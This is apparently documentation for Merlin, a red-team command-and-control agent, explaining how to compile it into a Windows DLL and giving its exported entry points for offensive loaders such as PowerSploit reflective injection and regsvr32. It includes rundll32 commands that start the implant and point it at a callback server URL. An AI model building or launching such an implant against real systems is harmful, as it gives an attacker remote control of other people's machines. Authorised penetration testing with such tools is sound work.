DLL Agent

The Merlin Agent can be compiled into a DLL using the https://github.com/Ne0nd0g/merlin-agent-dll repository. The merlin.c file is a very simple C file with a single function. The VoidFunc and Run functions are exported to facilitate executing the DLL.

The VoidFunc function name was specifically chosen to facilitate use with PowerSploit’s Invoke-ReflectivePEInjection.ps1. Using VoidFunc requires no modification to run Merlin’s DLL with Invoke-ReflectivePEInjection.

If the DLL is compiled on Windows, the TDM-GCC 64bit compiler has proven to work well during testing.

If the DLL is compiled on Linux, ensure MinGW-w64 is installed.

Creating the DLL

The DLL can be created using the Make file with make

Alternatively, it can be compiled without Make by following these steps:

  • Create the required C archive file:
    go build -buildmode=c-archive main.go
  • Compile the DLL
    gcc -shared -pthread -o merlin.dll merlin.c main.a -lwinmm -lntdll -lws2_32

You will now have DLL file that you can use with whatever method of execution you would like.

DLL Entry Points

This table catalogs the exported functions for merlin.dll that can be used as an entry point when executing the DLL.

Exported DLL Functions
Exported Function Status Notes
Run Working Main function to execute Merlin agent
DllInstall Partial Used with regsvr32.exe /i . Handling for /i not implemented
DllRegisterServer Working Used with regsvr32.exe
DllUnregisterServer Working Used with regsvr32.exe /u
ReflectiveLoader Removed Used with Metasploit’s windows/manage/reflective_dll_inject module
Magic Working Exported function in merlin.c; used with sRDI or any other method
Merlin Working Exported function in main.go
VoidFunc Working Used with PowerSploit’s Invoke-ReflectivePEInjection.ps1

Execution with rundll32.exe

The DLL can be executed on a Windows host using the rundll32.exe program. Examples of using rundll32 are:

  • rundll32 merlin.dll,Run
  • rundll32 merlin.dll,Merlin
  • rundll32 merlin.dll,Magic

A different Merlin server can be provided when executing the DLL by supplying the target URL as an argument. An example is:

rundll32 merlin.dll,Run https://yourdomian.com:443/

NOTE: Passing a custom URL only works when using cmd.exe and fails when using powershell.exe